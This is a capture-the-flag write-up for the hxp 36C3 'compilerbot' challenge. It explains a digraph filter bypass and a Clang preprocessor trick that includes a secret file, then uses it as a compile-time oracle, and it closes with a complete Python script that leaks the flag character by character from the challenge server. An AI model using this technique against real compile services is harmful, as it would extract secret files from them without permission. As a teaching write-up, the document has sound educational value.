hxp 36C3 CTF: compilerbot

misc (256 points, 30 solves)

If Compiler Explorer is too bloated for you, you can always rely on our excellent compiler bot to tell you whether you screwed up while coding your latest exploit.

And since we never actually run your code, there’s no way for you to hack it!

Download: compilerbot-f64128acb63c6bbe.tar.xz (10.9 KiB)
Connection: nc 88.198.154.157 8011

The goal in this challenge is to obtain the flag by querying whether a piece of C code compiles. The server removes curly braces and the pound sign (#) via

code.translate(str.maketrans('', '', '{#}'))

This can easily be bypassed by using the digraphs <%, %:, and %> instead. During the CTF, a lot more teams seemed to use the (deprecated?) trigraphs ??<, ??>, and ??=, which requires disabling warnings with _Pragma but is otherwise equivalent.

There is a number of ways to get the actual file included (GNU assembler has the directives .include and .incbin for this), but #include "flag" is sufficient here. Some teams found innovative solutions based on playing with inline assembly; this writeup will instead demonstrate a short C-only solution. To operate on individual flag characters after #include, it is easiest to turn it into a string (in theory, you could also brute-force the flag using #pragma poison or similar methods, which is why the flag is so long):

#define _str(x) #x
#define str(x) _str(x)

Unfortunately, the compiler will not let us simply

str(
 #include "flag"
)

because we are not allowed to have #includes within a macro invocation. (the compiler complains about an ““unterminated argument list invoking macro”). However, Clang (not GCC!) lets us use the flag format to our advantage: By using #define hxp str(, we can turn

#include "flag"
)

into

str({flag_contents_here})

We have C11 support, so we can use _Static_assert(condition, message) to check whether a condition is true at compile time. However, the condition must be an “integer constant expression”, which means that Clang stops us from simply indexing into the string, regardless of whether we assign it to an array or a pointer or index the literal directly.

However, Clang does let us use the character extracted directly from the string in other locations where the standard is not as strict:

static const char thing[str(...)[0]];
_Static_assert(sizeof(thing) == '{', "...");

GCC rightfully complains about this: “variably modified ‘thing’ at file scope”. This finally allows us to binary search over every flag character to get the flag:

hxp{Cl4n6_15_c00l_bu7_y0u_r34lly_0u6h7_70_7ry_gcc_-traditional-cpp_s0m3_d4y}

Here is the full code:

#!/usr/bin/python3

import argparse
import base64
import socket
import textwrap

PREFIX = textwrap.dedent(r'''
    %>

    %:define _str(x) %:x
    %:define str(x) _str(x)
    %:define hxp str(

    %:pragma clang diagnostic ignored "-Wpedantic"
    %:pragma clang diagnostic ignored "-Wunneeded-internal-declaration"
''')

SUFFIX = textwrap.dedent(r'''
    void test(void) <%
''')

def query(endpoint, code):
    code = base64.b64encode((PREFIX + code + SUFFIX).encode())
    with socket.socket(socket.AF_INET) as so:
        so.connect(endpoint)
        assert so.recv(1024) == b'> '
        so.sendall(code + b'\n')
        response = so.recv(1024).decode().strip()
        return {'OK': True, 'Not OK': False}[response]

if __name__ == '__main__':
    p = argparse.ArgumentParser()
    p.add_argument('-H', '--host', help='Target host', default='localhost')
    p.add_argument('-p', '--port', help='Target port', type=int, default=8011)
    args = p.parse_args()

    endpoint = (args.host, args.port)

    # Iteratively search for flag characters
    # We know that the last character will be a }, so that's when we stop
    index = 1
    flag_content = 'hxp{'
    while not flag_content.endswith('}'):
        range_low, range_high = 0, 127 # Inclusive ranges

        while range_low != range_high:
            midpoint = (range_low + range_high) // 2
            code = textwrap.dedent(fr'''
                static const char thing[
                    %:include "flag"
                )[{index}]];

                _Static_assert(sizeof(thing) <= {midpoint}, "Fail");
            ''')
            if query(endpoint, code):
                range_high = midpoint
            else:
                range_low = midpoint + 1
            print(f'\r\x1b[32m{flag_content}\x1b[33m{chr(range_low)}\x1b[0m', end='', flush=True)

        flag_content += chr(range_low)
        index += 1
        print(f'\r\x1b[32m{flag_content}\x1b[0m', end='', flush=True)
    print()